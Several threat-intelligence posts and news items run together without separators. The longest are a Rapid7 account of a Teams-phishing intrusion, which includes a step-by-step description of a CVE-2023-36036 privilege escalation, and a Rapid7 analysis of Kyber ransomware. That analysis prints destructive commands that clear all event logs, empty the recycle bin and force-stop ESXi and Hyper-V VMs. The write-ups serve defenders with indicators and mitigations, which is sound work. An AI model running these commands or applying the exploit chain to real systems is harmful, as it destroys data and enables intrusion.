The final RAT represents a notable evolution from previously documented Dropping Elephant tooling. It executes entirely in memory, patches AMSI, WLDP, and ETW before running, and incorporates additional obfuscation and anti-analysis techniques that make detection and analysis more difficult.
For defenders, the practical takeaway is that Dropping Elephant’s tooling may be changing faster than its operational approach. Hashes, filenames, and infrastructure are likely to change across campaigns, but the path into execution still creates opportunities to detect and disrupt the activity before the final implant runs.
Attackers do not need to break into the front door when they can convince employees to open it for them through the tools they already trust.
In April 2026, Rapid7 investigated an enterprise intrusion that began with a Microsoft Teams message from a fake “IT Support” account and quickly escalated into a full compromise chain involving malware deployment, privilege escalation, credential theft, lateral movement, and exfiltration. The incident illustrates a critical risk for modern enterprises: Collaboration platforms have become part of the attack surface, and when combined with identity abuse and Living-off-the-Land techniques, they can provide attackers with a low-friction path into the environment.
Therefore, this attack was particularly concerning due to the way the intrusion shifted from endpoint compromise to broader identity-driven risk. And while it was not surprising that the attacker used a novel technique, what was concerning was how the attacker was able to chain together familiar enterprise weaknesses into a fast-moving and operationally effective intrusion.
By abusing Teams external access, the threat actor delivered a Dropbox-hosted Python payload that established command-and-control, deployed multiple backdoors, and began mapping the internal environment. The attacker then escalated privileges to SYSTEM using CVE-2023-36036 before deploying a fake Windows lock screen designed to harvest the user’s domain password.
Once valid credentials were obtained, the intrusion shifted from endpoint compromise to broader identity-driven risk. The attacker moved laterally to a second host, used legitimate tooling such as DumpIt to collect system memory, which was likely exfiltrated via an anonymous file-sharing service. This progression underscores a key reality for defenders: Once collaboration, identity, and endpoint controls are bypassed or weakened, attackers can rapidly convert initial access into meaningful enterprise exposure.
Rapid7’s technical analysis linked the Python malware to ModeloRAT, a framework previously documented by multiple security vendors in browser extension campaigns and associated with the KongTuke group. More broadly, this intrusion demonstrates how trusted communication channels, Living-off-the-Land techniques, and credential-focused tradecraft continue to challenge traditional security controls. The takeaways here are clear:
For CISOs: Collaboration tools are part of your attack surface. Attackers used Teams to reach users directly. Security, identity protection, endpoint visibility, and rapid detection engineering must be treated as connected parts of the same defense strategy, not separate control domains.
For defenders: Old vulnerabilities and trusted tools still work. The attack combined a patched vulnerability (CVE-2023-36036) with widely trusted tools like Python, PowerShell, and Dropbox. None of these are unusual in enterprise environments, which is precisely what allowed the attacker to blend in while moving quickly. It’s an obvious restatement, but external access should always be controlled and monitored.
The challenge isn’t identifying one suspicious event; it’s recognizing when normal activity starts to form a pattern, and acting before that pattern turns into widespread exposure.
Rapid7 coverage
Rapid7 has coverage for this campaign across both intelligence and detection workflows. The campaign is available in Rapid7’s Intelligence Hub, providing customers with curated context, indicators, and threat actor tradecraft to support awareness, investigation, and prioritization. Relevant detections are also available in InsightIDR, helping security teams identify activity associated with this intrusion pattern across their environments.
Figure 1: Attack chain from Teams phishing to payload delivery, ModeloRAT execution, privilege escalation, and lateral movement with exfiltration.
A door that was never closed
The intrusion started with abuse of Microsoft Teams external access. This feature, enabled by default in some environments, allows users in one tenant to initiate direct chats with users in another. In our incident, the attacker used a newly created tenant UCICasociacion.onmicrosoft[.]com to impersonate “IT Support” and messaged a targeted employee.
This approach mirrors tradecraft seen in Octo Tempest-style campaigns. Octo Tempest (alias Scattered Spider, UNC3944, 0ktapus) is a financially motivated cybercriminal group active since 2022, known for aggressive social engineering tactics including helpdesk impersonation, SIM swapping, and MFA manipulation.
Shortly after the interaction, a hidden PowerShell command executed on the victim’s machine, staging the initial payload.
Stager: Bring your own Python
Within minutes of the Teams interaction, a PowerShell stager executed on the endpoint and reached out to Dropbox to retrieve a ZIP archive (Winp.zip) into the user’s AppData directory.
The archive was immediately extracted and deleted, likely to reduce on-disk artifacts and avoid potentially raising suspicion.
The payload contained a portable WinPython environment, which the attacker used to launch the next stage:
collector.py (reconnaissance)
Pmanager.py (primary C2 agent, Modelo RAT)
Execution was handled via pythonw.exe, which allowed the script to run in the background without showing the terminal window.
Figure 2: PowerShell stager retrieving and executing portable Python payload.
Reconnaissance: Environment discovery via native tools
The first Python module executed by the attacker was collector.py, a post-exploitation information gatherer designed to silently profile the host and save the results to %TEMP%\configA.json. Additionally, before any of the recon the collector.py computes a host fingerprint. This 8-character fingerprint is what the operator’s C2 server uses to identify this victim.
Securityhealthhost.exe, which is commonly used to verify if anti-virus solutions are running on the system
Table 1: Host Reconnaissance and Environment Enumeration.
All of these commands were executed through hidden PowerShell sessions using the CREATE_NO_WINDOW flag, allowing the script to run in the background without spawning visible console windows.
Part of reconnaissance was also a collection of installed hotfixes and system version data. The attacker was able to assess whether the host was vulnerable to a version-specific local privilege escalation exploit later used in the intrusion.
Additionally, collector.py and all other python modules dropped by malware were obfuscated. However, it was not difficult to recover code structure close to the original.
Figure 3: Obfuscated collector.py
Stage 2: Ties to ModeloRAT
Shortly after reconnaissance is completed, the attack shifts into its second stage as with the execution of Pmanager.py.
pythonw.exe ...\python\Pmanager.py start
Figure 4: Execution of Pmanager.py initiating second-stage C2 activity.
As soon as it is started, the script creates a long-running HTTP beacon over port 80 that rotates across 5 hardcoded C2 servers: 46.225.231[.]170, 144.172.99[.]68, 64.94.85[.]158, 140.82.6[.]45, and 45.76.241[.]51.
The script can load DLLs via rundll32.exe, launch additional Python scripts, run PowerShell commands, or install .msi packages. It also handles persistence and can update or remove itself. The reconnaissance output saved in configA.json is sent back to the C2, giving the operator a full picture of the host before issuing further tasks.
This behavior closely matches the ModeloRAT framework documented by Huntress (KongTuke / CrashFix campaigns). Its communication format, persistence mechanisms, and delivery model all match what has been previously observed, with no significant deviations.
The key difference is in initial access: Where earlier campaigns relied on malicious browser extensions, this intrusion used Microsoft Teams social engineering to achieve execution.
The on-demand shells and the WebDAV
Pmanager quickly deployed its first additional module USOShared1297.py onto the infected host. This module is a TCP reverse shell that opens 2 outbound sockets to one of 3 hardcoded C2 IPs (144.172.88[.]18, 64.190.113[.]187, 45.59.122[.]231. The port 50508 is reserved for the interactive shell that the attacker can use and port 60503 is for file transfer. The shell itself is a cmd.exe spawned using CreatePipe and CreateProcessA with the CREATE_NO_WINDOW and STARTF_USESTDHANDLES flags.
This access was then used to test credential reuse across the environment through repeated WebDAV authentication attempts against internal systems.
Figure 5: WebDAV authentication spray using davclnt.dll (DavSetCookie)
The DavSetCookie API forces Windows to initiate a WebDAV authentication attempt using the current user’s credentials. In effect, it allows the attacker to validate where those credentials are accepted without deploying additional tools. Within minutes, successful logon events started to appear across more than 100 internal systems.
The HTTP shell – internal.py
Not long after, the attacker added a second way into the system by deploying back-to-back Microsoft5237.py dropped to %TEMP% and internal.py dropped to WPy64-31401\python. Later analysis showed they were actually the same file, just renamed (both had the same SHA-256 hash: 930263c0843744e269b615fb2ec79f83d7bd8b2cbf75e31fd5ea6c1aaa4e48fd). The attacker was reusing the same backdoor under different names.
Each script launched a hidden PowerShell session. First it checked whether the system was domain-joined, and then set up a persistent remote shell.
Figure 6: The -NoExit flag keeps PowerShell running in the background, while the trailing “-” allows it to accept commands remotely.
From there, internal.py turned that session into a full HTTP-based control channel. It registered with the C2 /handshake, continuously polled for instructions via /command/<id>, executed them inside the PowerShell session, and returned output via /output/<id>. The same channel handles file upload, download, and also screenshot capture. All of this communication ran over port 80 to 87.120.186[.]229 and 149.248.78[.]202, blending in with normal web traffic.
Stage 3: Privilege escalation via CVE-2023-36036
After gaining remote access, the attacker executed ssss.dll to escalate privileges.
rundll32.exe ssss.dll startproc Mw2[REDACTED]
Figure 7: Execution of ssss.dll via rundll32.
The argument that was passed to startproc is a decryption key. The startproc function uses Mw2[REDACTED] to decrypt the payload.
The ssss.dll (SHA-256: b00c1cbcfb98d2618a5c2ccb311da94f3c57709a397be6c8de29839f4e943976) is a reflective loader. The loader is using that key to decrypt an embedded payload in memory and execute it. The decrypted payload is testdllLPE.dll (SHA-256: d84245f3a374dd5eff8ecfdfad39077d76331fde799e5306430d0fc788db7f1d), a custom privilege escalation exploit targeting CVE-2023-36036. This vulnerability is a heap-based buffer overflow in cldflt.sys, the Windows Cloud Files Mini Filter Driver.
Within seconds, the helper thread launched internal.py under a SYSTEM token, confirming that the exploit successfully modified the process privileges.
What is CVE-2023-36036?
The Cloud Files driver is what makes OneDrive’s “Files On-Demand” work, allowing placeholder files to appear locally while being backed by cloud storage. Sync providers (OneDrive, Dropbox, Box) register themselves with the driver using the Cloud Files API, and the driver brokers I/O between the filesystem and the provider.
CVE-2023-36036 is a heap buffer overflow in how cldflt.sys processes messages from these providers. By sending crafted data through the driver’s communication interface, an attacker can overflow an internal buffer and corrupt adjacent memory. With controlled heap layout, this corruption becomes a kernel write primitive.
Reused technique, adapted exploit
While analyzing the CVE-2023-36036 exploit, it became clear that the threat actor did not build their methodology from scratch. STAR Labs documented a similar chain in their analysis of CVE-2021-31969 also in cldflt.sys. Their work outlined the core steps: Register a fake sync provider, shape the kernel heap, trigger the overflow, and overwrite a token.
The exploit we analyzed follows the same general playbook, but adapts it for the CVE-2023-36036 vulnerability.
The threat actor reused three core steps from the STAR Labs research to stabilize their exploit:
Sync provider registration. The exploit registers itself as “PLURIBUS” with GUID {904EE598-0511-4664-82A8-22C4A7501044}, pointing to %TEMP%\cldflt. This causes the driver to treat the directory as a valid Cloud Files root and route file operations through the vulnerable path.
WNF heap shaping. The exploit uses 4 undocumented ntdll syscalls: NtCreateWnfStateName, NtUpdateWnfStateData, NtDeleteWnfStateData, and NtQueryWnfStateData to allocate a large number of small objects in the kernel pool. This shapes memory so the overflow lands on controlled data instead of random structures. Without this step, the buffer overflow in cldflt.sys would write to unpredictable addresses and can crash the system
Data-Only Token Overwrite. Instead of using process injection or shellcode, the exploit uses its own token in kernel memory by flipping a privilege bit to gain SYSTEM access. What sets testdllLPE.dll apart is what the operator added on top of that scaffolding.
Kernel discovery method. It probes the kernel address range in 1 MB steps, measuring minute differences in memory access latency to identify ntoskrnl base. This avoids calling privileged APIs.
Decoupled execution model. Instead of elevating the thread running the exploit, this binary spawns a helper thread that continuously polls PrivilegeCheck(SeDebugPrivilege). This allows the main exploit thread to crash, hang, or retry the kernel write multiple times without losing the payload. The moment the kernel finally flips the privilege bit, the helper thread detects the change and immediately launches internal.py as SYSTEM.
Trigger path. The vulnerability is reached through the driver’s message handling path. When processing a FilterSendMessage request, cldflt.sys copies attacker-controlled data into a fixed-size buffer without proper bounds checking, overflowing into adjacent memory, specifically a function pointer.
To trigger execution, the exploit creates a placeholder file within the fake sync root and writes to it.
Figure 8: CVE-2023-36036 trigger sequence in startproc. A crafted 512-byte message is delivered via FilterSendMessage, a 1024-iteration WNF spray seats the fake kernel object, and the closing WriteFile fires the corrupted callback.
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When the driver intercepts the write to Link.log, it invokes the corrupted function pointer. This results in a controlled kernel write, which flips the SeDebugPrivilege bit in the helper thread’s token.
After the WriteFile call completes, the main exploit thread exits. The helper thread, which was polling PrivilegeCheck(SeDebugPrivilege) once per second since the exploit started, detects the change and breaks out of its loop. At this point, the privilege escalation has succeeded. The helper thread immediately launches the payload.
Figure 9: Helper thread execution after privilege escalation succeeds.
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Stage 4: Post-exploitation
The newly spawned internal.py process was running under a SYSTEM token. The attacker confirmed this with whoami and immediately created a scheduled task (TempLogA) to execute internal.py daily at 13:00 with SYSTEM privileges.
Figure 11: Powershell command returns the total number of domain user accounts.
Shortly after, the compromised account established a remote PowerShell session (WinRM) to a second host. Once connected, additional enumeration commands were executed through the remote PowerShell process (wsmprovhost.exe), extending visibility beyond the initial system.
Expanding the foothold
Within hours of privilege escalation and enumeration, 3 additional Python modules were deployed:
Microsoft5237.py: HTTP beacon to 87.120.186.229 and 149.248.78.202. Captures screenshots via PowerShell, monitors user logins/logouts, uploads files to C2.
Dell508.py: Reverse TCP tunnel to 207.246.114.50 and 149.28.96.170 on port 80, disguised as HTTP upgrade. C2 server instructs victim to connect to specific internal targets; victim relays traffic bidirectionally.
PCDr6967.py: SOCKS5 proxy to 96.9.125.29, 144.172.111.49, and 104.194.152.246 on port 50504. Routes attacker’s tools (RDP, browsers, Nmap) through victim into internal network.
Stage 5: The lock screen that wasn’t
Roughly two hours after privilege escalation, the attacker deployed a second DLL.
rundll32.exe com6848.dll,open e8vy[REDACTED]
Figure 12: Execution of com6848.dll via rundll32 to deploy credential harvesting payload.
The com6848.dll (SHA-256: 30e5a6c982396cdf3157195b540f75096869baa8570f66fab88c07c161be27f0, internal name apple.dll) is a 32-bit DLL with a single export open. Its .rdata section is over 5 MB and contains an encrypted payload. The decryption key was conveniently provided on the command line by the attacker.
Once decrypted, the DLL reflectively loads a second stage stage2.dll (SHA-256: f5b2dbd8ec9671c0261f093ebc5f3d35920b592458a3b800cc946265111e67d0). This DLL renders a perfect replica of the Windows 10 lock screen, using the embedded font to ensure visual accuracy even on systems where the font isn’t installed. The user sees what appears to be a normal screen lock and types their password to unlock it. The DLL captures it, and writes the result to disk as yyyy-mm-dd-Log.txt
What the credential unlocked
Wait, didn’t the operator already have SYSTEM privileges? Why bother with a fake lock screen?
By this point, indeed the operator had SYSTEM-level access on the host. What they didn’t have, though, was the user’s domain credentials. SYSTEM can authenticate using the machine account, but it cannot authenticate as the user. It can’t access user-specific resources, such as file shares requiring the user’s permissions, mailboxes, web applications expecting user credentials, or RDP sessions that need to establish an interactive logon as that specific domain account.
The same evening, the attacker used harvested credentials to authenticate via RDP to another workstation in the network. DNS logs showed connections to Dropbox and some internal systems. Additionally, they also performed Kerberoasting against service accounts, requesting vulnerable Kerberos tickets in an attempt to expand access within the environment.
The following morning, the attacker returned to the second host via RDP and used Microsoft Edge to download the Comae toolkit, including DumpIt, a legitimate memory acquisition tool. Two minutes after unarchiving the Comae toolkit, the threat actor navigated within the browser to uploadnow[.]io, which offers free anonymous file upload features. During this browser session, the threat actor searched via Bing if SwissTransfer was a safe site to transfer large files, likely evaluating additional exfiltration methods.
Shortly after, DumpIt.exe was executed on the second host. DumpIt captures physical RAM, including LSASS process memory, which can contain cleartext passwords, NTLM hashes, and Kerberos tickets. Based on timing and network activity, the memory dump was likely exfiltrated via uploadnow[.]io.
Fake lock screens can harvest credentials even with SYSTEM access.
WebDAV API abuse provides stealthy credential validation.
It took two days to go from “Hi, this is IT support” to domain-wide credential access using a fake lock screen, a Python based RAT, and a two-year-old kernel exploit. If you were an incident responder, none of these techniques would have been new for you, and that’s the point.
What particularly stands out is how quickly control shifted from endpoint to identity. Once valid credentials were obtained, the environment itself became the attack surface.
DarkSword is a sophisticated piece of malware—probably government designed—that targets iOS.
Google Threat Intelligence Group (GTIG) has identified a new iOS full-chain exploit that leveraged multiple zero-day vulnerabilities to fully compromise devices. Based on toolmarks in recovered payloads, we believe the exploit chain to be called DarkSword. Since at least November 2025, GTIG has observed multiple commercial surveillance vendors and suspected state-sponsored actors utilizing DarkSword in distinct campaigns. These threat actors have deployed the exploit chain against targets in Saudi Arabia, Turkey, Malaysia, and Ukraine.
DarkSword supports iOS versions 18.4 through 18.7 and utilizes six different vulnerabilities to deploy final-stage payloads. GTIG has identified three distinct malware families deployed following a successful DarkSword compromise: GHOSTBLADE, GHOSTKNIFE, and GHOSTSABER. The proliferation of this single exploit chain across disparate threat actors mirrors the previously discovered Coruna iOS exploit kit. Notably, UNC6353, a suspected Russian espionage group previously observed using Coruna, has recently incorporated DarkSword into their watering hole campaigns.
A week after it was identified, a version of it leaked onto the internet, where it is being used more broadly.
This news is a month old. Your devices are safe, assuming you patch regularly.
Researchers have reverse-engineered a piece of malware named Fast16. It’s almost certainly state-sponsored, probably US in origin, and was deployed against Iran years before Stuxnet:
“…the Fast16 malware was designed to carry out the most subtle form of sabotage ever seen in an in-the-wild malware tool: By automatically spreading across networks and then silently manipulating computation processes in certain software applications that perform high-precision mathematical calculations and simulate physical phenomena, Fast16 can alter the results of those programs to cause failures that range from faulty research results to catastrophic damage to real-world equipment.”
For executive leadership, the emergence of Kyber ransomware represents a significant and immediate threat due to its specialized, dual-platform deployment capability targeting mission-critical virtualization infrastructure (VMware ESXi) and core Windows file systems. This cross-platform approach, coupled with effective anti-recovery measures, drastically elevates the risk of a total operational disruption. Organizations should treat Kyber not merely as another ransomware strain, but as a specialized tool capable of causing a complete operational blackout. Recent real-world incidents have demonstrated that this approach can result in large-scale operational impact across enterprise environments.
During a March 2026 incident response engagement, Rapid7 recovered two Kyber ransomware payloads deployed in the same environment, one targeting VMware ESXi infrastructure and the other Windows file servers. This provided a rare opportunity to analyze both variants side by side. In March 2026, Rapid7 recorded over 900 ransomware incidents being publicly reported.
The ESXi variant is specifically built for VMware environments, with capabilities for datastore encryption, optional virtual machine termination, and defacement of management interfaces. The Windows variant, written in Rust, includes a self-described “experimental” feature for targeting Hyper-V.
Despite these differences, both samples share a campaign identifier and Tor-based ransom infrastructure, confirming coordinated cross-platform deployment. Notably, the ransomware’s cryptographic claims are not consistent across variants. The ESXi sample advertises “post-quantum” encryption using Kyber1024, but in practice relies on ChaCha8 with RSA-4096 key wrapping, while the Windows variant does implement the advertised hybrid scheme. As usual, ransom notes prove to be more aspirational than accurate.
Kyber is a relatively new ransomware group that has recently gained visibility. Despite this, public technical analysis of the malware remains limited. The lack of spotlight on the group presented an opportunity to share our findings with the community.
Technical analysis
Kyber is a cross-platform ransomware family targeting Linux/ESXi and Windows environments. Both variants share Tor infrastructure and a campaign ID, but differ in programming language they are written, crypto, and features. While both reference the same encryption scheme in their ransom notes, only the Windows variant appears to implement it as described.
Property
ELF (Linux/ESXi)
PE (Windows)
Language
C++, GCC 4.4.7 (2012)
Rust, MSVC 19.36 / VS2022
Actual crypto
ChaCha + RSA-4096
AES-256-CTR + Kyber1024 + X25519
Note claims
AES + X25519 + Kyber
AES + X25519 + Kyber
Extension
.xhsyw
.#~~~
Ransom note
readme.txt
READ_ME_NOW.txt
VM targeting
Native esxcli
PowerShell Get-VM (experimental)
Anti-recovery
None
11 commands (elevation required)
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In addition, both variants share a common campaign ID and Tor-based infrastructure, including a negotiation portal and leak site, indicating coordinated operations across platforms.
Campaign ID: 5176[REDACTED]
Tor chat: Mlnmlnnrdhcaddwll4zqvfd2vyqsgtgj473gjoehwna2v4sizdukheyd[.]onion
Tor blog: Kyblogtz6k3jtxnjjvluee5ec4g3zcnvyvbgsnq5thumphmqidkt7xid[.]onion
Chat path: /chat/5176[REDACTED]
Linux/ESXi variant
The Linux/ESXi variant SHA-256: 6ccacb7567b6c0bd2ca8e68ff59d5ef21e8f47fc1af70d4d88a421f1fc5280fcis a 64-bit ELF executable, not stripped, written in C++ and statically linked against OpenSSL 1.0.1e-fips.
The sample was developed to target ESXi environments. As shown in Figure 2, the help text for the required path argument explicitly references the datastore path /vmfs/volumes, the root directory in VMware ESXi hosts where VMFS (Virtual Machine File System) datastores are mounted. The malware also relies on ESXi-native tooling esxcli and targets VMware-specific paths and artifacts.
Figure 1: The binary’s help text names /vmfs/volumes as the intended target path.
To ensure encryption continues after an SSH session ends, the malware implements a detach flag. When enabled, it forks and exits the parent process, allowing the child to run in the background. The child then calls setsid() to detach from the controlling terminal, avoiding the SIGHUP signal typically sent when a session closes.
This allows the attacker to disconnect safely while encryption of /vmfs/volumes datastores continues uninterrupted in the background.
Targeting VMware
If the vmkill flag is set, the binary enumerates all running VMs before starting encryption. It forks a child process that executes the ESXi-native management command esxcli vm process list, redirecting its output to a temporary file via dup2(). The output is then parsed line by line to extract Display Name and World ID pairs.
If a whitelist is provided via the whitelist argument, matching VMs are skipped. All other VMs are terminated sequentially using esxcli vm process kill type=softworld-id <id>, with the parent process waiting for each shutdown to complete before proceeding.
Two implementation choices stand out here. First, the ransomware uses fork/execlp rather than system(). By calling fork() and then execlp() directly, ransomware developers bypass the shell entirely. This means the arguments are passed as a null-terminated array of strings (argv) directly to the execve system call. If a VM name contained a space or a special character, a system() call might crash or behave unexpectedly, but execlp ensures the command is executed exactly as intended. This suggests the developer is familiar with low-level system programming.
Second, the use of type=soft requests a graceful shutdown rather than a forced termination. This likely reduces the risk of corrupting VM disk state prior to encryption. After issuing shutdown commands, the binary sleeps briefly for about ~2 seconds before continuing, allowing ESXi to complete the operation.
Directory traversal
The malware performs a recursive directory walk to identify targets. Interestingly enough, it drops a readme.txt ransom note into every folder before the encryption routine begins. The traversal logic does not follow symbolic links, as traversing them can lead to unexpected areas of the filesystem. The sample does not implement an extension allowlist. Files are encrypted unless explicitly excluded.
The binary explicitly ignores files with the following extensions or names:
Figure 2: Confirmed exclusion list from protecting in-progress files, already-encrypted files, and VMware system files from double-processing.
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Encryption: marketing vs reality
The ransom note claims that for encryption it uses AES-256-CTR, X25519 and Kyber1024 algorithms.
Figure 3: Ransom note embedded in the ELF binaries claims AES-256-CTR and X25519/Kyber1024 algorithms.
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Our technical analysis, however, says otherwise. Decompilation of the core encryption logic shows the cipher is actually ChaCha8. Two indicators support this conclusion. First, in the ECRYPT_encrypt_bytes subroutine (Figure 5) the loop executes 8 rounds (i = 8; i > 0; i -= 2), and the code applies 32-bit right rotations with constants 16, 20, 24, and 25. These correspond to the standard ChaCha left-rotation constants (16, 12, 8, and 7) defined in RFC 8439.
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Figure 4: IDA decompilation of ECRYPT_encrypt_bytes function
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Second, the ECRYPT_keysetup function (Figure 6) uses the “expand 32-byte k” sigma constant. For 256-bit keys, the malware initializes its state by placing this constant in words 0–3 and the key in words 4–11 — mirroring the standard ChaCha layout.
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Figure 5: IDA decompilation of ECRYPT_keysetup function
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OpenSSL is statically linked but only handles RSA-4096 key wrapping. We did not find any “post-quantum”. The operator likely just copy-pasted the ransom note from a Windows variant that actually supports Kyber1024.
Partial encryption strategy
Partial encryption logic is size-based encryptFilePartly() function.
Files under 1MB: entire file encrypted
Files between 1MB and 4MB: first 1MB encrypted
Files above 4 MB: only a calculated portion of each file is encrypted, with the proportion controlled by size; the program validates this value as 0–100 in main(), and the default observed setting is 10.
This approach significantly reduces encryption time while still rendering large files (e.g., VMDKs) unusable.
Encryption workflow
Each file is encrypted with a unique ChaCha8 key. Before encrypting the file, the binary creates a .locksignal file and renames the original to .processing to prevent concurrency. It then checks the last 535 bytes for a metadata trailer containing the markers KYBER, CDTA, and ATDC. If these are present, the file is skipped as already encrypted.
For new targets, the malware generates a 40-byte key/IV set and wraps it using an embedded RSA-4096 public key. This metadata is appended to the file and verified before encryption begins. A redundant copy is also saved as <file>.cryptdata_backup. Encryption is performed in-place in 1 MB chunks. On success, the file is renamed from .processing to .xhsyw. Any files left with the .processing suffix indicate an interrupted or failed encryption attempt.
Defacing every entry point
Even before encryption, ransomware binary replaces three specific files:
SSH Access replaces /etc/motd (Message of the Day), displaying the ransom note immediately to anyone logging in via SSH.
Web Management replaces the VMware web UI index pages at both /usr/lib/vmware/hostd/docroot/index.html and the Host Client interface at /usr/lib/vmware/hostd/docroot/ui/index.html.
Whether an administrator logs in via SSH or hits the web management portal, they are immediately met with the ransom note. On non-ESXi systems where these paths don’t exist, the rename fails gracefully and execution continues.
Figure 6: Execution log from REMnux test: defacement fails gracefully on non-ESXi, encryption proceeds.
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Windows variant
The Windows sample SHA-256: 45bff0df2c408b3f589aed984cc331b617021ecbea57171dac719b5f545f5e8d is a 64-bit PE executable written in Rust and compiled with MSVC (VS2022). Much like the ESXi variant, the Windows binary as well is not packed, obfuscated, or even stripped. It retains full Rust panic strings and cargo dependency paths, including the build path C:\Users\user\.cargo\registry\src\index.crates.io-6f17d22bba15001f.
Additionally, the binary’s version flag reveals the project name as win_encryptor 1.0.
Figure 7: Ransomware’s CLI interface
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The Windows binary exposes a minimal CLI (Figure 8), requiring the path argument to specify the target directory. It also includes system flag which is self-described as “experimental” and intended to enforce a hard-stop on Hyper-V virtual machines.
Ransomware initializes full runtime initialization, even if invoked with just help flag. It aggregates entropy from four sources: system time, Windows CSPRNG, processor-based entropy via RDRAND, and running process data and producing ~30 KB of randomness to seed an internal AES-CTR DRBG. Unlike typical ransomware, which often relies only on BCryptGenRandom, this strain implements a custom entropy pipeline which suggests the developer cared about key material quality.
After initialization, the binary checks whether it is running with elevated privileges by attempting to acquire SeDebugPrivilege and logs are printed to the console (see Figure 8).
This privilege check determines if the destructive commands will be executed. Without elevation, the binary only does file encryption. With elevation, it unlocks its full toolkit: killing services, modifying the registry, and wiping shadow copies to prevent recovery.
Service termination and anti-recovery
When running with elevated privileges the binary first terminates services matching five patterns: msexchange, vss, backup, veeam, and sqlusing OpenSCManagerA, EnumServicesStatusA, and ControlServiceAPI calls. The malware forces the system locale to en-US before service enumeration. This normalization makes certain that pattern matching for service names remains reliable regardless of the victim’s native system language.
It then executes 11 commands via CreateProcessW that you can see in the table below
for /F “tokens=*” %i in (‘wevtutil el’) do wevtutil cl “%i”
Clear all Windows event logs
11
rd /s /q C:\$Recycle.Bin
Empty the Recycle Bin
Table 2: 11 commands executed by ransomware if it ran with elevated privilege
Hyper-V shutdown
If systemflag is set, the binary enumerates Hyper-V virtual machines via PowerShell before encryption:
Get-VM | select VMId, Name | ConvertTo-Json
Stop-VM -Force -TurnOff
Figure 8: PowerShell commands used for Hyper-V termination.
Each VM is terminated with a “hard stop” (-TurnOff) which forces an abrupt shutdown, releasing file locks so the malware can encrypt. As noted in the CLI help text, the developer currently considers this Hyper-V functionality “experimental.”
File encryption workflow
For each file, the binary checks for a prior encryption marker to avoid redundant processing. If the file is locked, the malware uses the Windows Restart Manager to identify and terminate the responsible process. If access is still denied, it modifies the file’s permissions (ACL) to Everyone:FullControl and clears the read-only attribute. It retries this entire sequence up to three times per file to ensure it can successfully open and encrypt the data.
Once encryption succeeds, the file is renamed with the .#~~~ extension, and a READ_ME_NOW.txt ransom note is dropped in the directory. Each successful operation is logged to the console as Successfully encrypted <file>. File size: <size>. To maintain system stability and to keep the OS bootable, the malware excludes critical system directories and files from encryption listed below:
$recycle.bin,perflog,system volume information,thumb,programdata,appdata,microsoft,netframework,c$, all users
Unlike the Linux variant, this sample actually uses what it claims: Kyber1024 and AES-256-CTR.
The sample uses a hybrid encryption design. The embedded public key is validated against the expected Kyber1024 public key size of 1568 (0x620) bytes.
Figure 11: Public key size check (1,568 bytes / 0x620) with branch to error on mismatch
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Following validation, the sample initializes an AES-256 CTR context using a 32-byte key, which it expands into a 60-word key schedule.
This confirms that Kyber is not used for direct file encryption. Instead, Kyber1024 protects the symmetric key material, while AES-CTR handles bulk data encryption.
Registry artifacts and icon registration
When executed with elevated privileges, the malware assigns a custom icon to encrypted files by registering the .#~~~ extension. It creates C:\fucked_icon\directory, writes processed_file.icon to that location, and configures it in the registry as the default icon.
Figure 12: Regedit output after execution of Kyber with elevated privileges
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The malware executes ie4uinit.exe to refresh the shell icon cache. This forces Windows to display the new icons immediately across the filesystem without a system restart.
Mutex
The choice of the mutex is interesting. The mutex name boomplay[.]com/songs/182988982 is stored as a wide string in .rdata and appears to be a link to a song on Boomplay, which is a legitimate African music streaming platform. We were unable to identify the specific track due to geo-restrictions we could not bypass.
Mitigation guidance
Based on the observed Tactics, Techniques, and Procedures (TTPs), organizations should focus on the following defensive actions:
Harden virtualization infrastructure (T1021.004)
Kyber’s reliance on SSH for ESXi host access and native tooling like esxcli highlights critical control points.
Implement least-privilege access for ESXi shell and SSH, ideally disabling them entirely unless required for maintenance.
Enforce multi-factor authentication (MFA) on all management interfaces and accounts.
Monitor esxcli execution for VM termination (vm process kill) or configuration changes, which are late-stage indicators of compromise.
Kyber uses 11 distinct commands to impair defenses, including VSS deletion and log clearing.
Restrict execution: Prevent unprivileged users from executing command-line utilities like vssadmin.exe, wmic.exe, and wevtutil.exe.
Protect backups: Ensure backups (especially Veeam/SQL targets) are immutable and stored off-host or in segregated network segments that the Windows variant cannot reach, even with elevated privileges. The ransomware explicitly targets these services and file systems.
Detection focus (lateral movement & defacement):
Monitor for defacement artifacts: Actively monitor for changes to VMware’s management files (/etc/motd, /usr/lib/vmware/hostd/docroot/index.html, etc.) in ESXi environments.
Custom entropy check: The Windows variant’s custom entropy pipeline suggests an effort to ensure key quality. Analysts should incorporate the provided IOCs (mutex: boomplay[.]com/songs/182988982) and file extensions into their detection rules.
MITRE ATT&CK techniques
ID
Technique
Use
T1486
Data Encrypted for Impact
Primary objective for both variants.
T1485
Data Destruction
Deletion of shadow copies and backups via vssadmin and wmic.
T1489
Service Stop
Terminating ESXi processes and Windows database services.
T1070.001
Indicator Removal: Clear Windows Event Logs
Using wevtutil to clear logs after infection.
T1021.004
Remote Services: SSH
Primary vector for interacting with ESXi hosts.
T1562.001
Impair Defenses: Disable or Modify Tools
Disabling Windows Recovery Environment and boot failure prompts.
Kyber ransomware isn’t a masterpiece of complex code, but it is highly effective at causing destruction. It reflects a shift toward specialization over sophistication. The operators didn’t need custom exploits or zero-days, because they didn’t have to use them. Instead, they simply used the standard ransomware playbook of abusing native tools like esxcli and vssadmin, and it was enough.
The encryption claims in the ransom note aren’t the main story. If anything, they highlight a gap between the campaign’s marketing and its execution. The sophistication of the defense must now be measured against the attacker’s specialization, not their code complexity. Ignoring Kyber’s multi-platform nature is an acceptance of a total operational blackout.
Linux malware often hides in Berkeley Packet Filter (BPF) socket programs, which are small bits of executable logic that can be embedded in the Linux kernel to customize how it processes network traffic. Some of the most persistent threats on the Internet use these filters to remain dormant until they receive a specific “magic” packet. Because these filters can be hundreds of instructions long and involve complex logical jumps, reverse-engineering them by hand is a slow process that creates a bottleneck for security researchers.
To find a better way, we looked at symbolic execution: a method of treating code as a series of constraints, rather than just instructions. By using the Z3 theorem prover, we can work backward from a malicious filter to automatically generate the packet required to trigger it. In this post, we explain how we built a tool to automate this, turning hours of manual assembly analysis into a task that takes just a few seconds.
The complexity ceiling
Before we look at how to deconstruct malicious filters, we need to understand the engine running them. The Berkeley Packet Filter (BPF) is a highly efficient technology that allows the kernel to pull specific packets from the network stack based on a set of bytecode instructions.
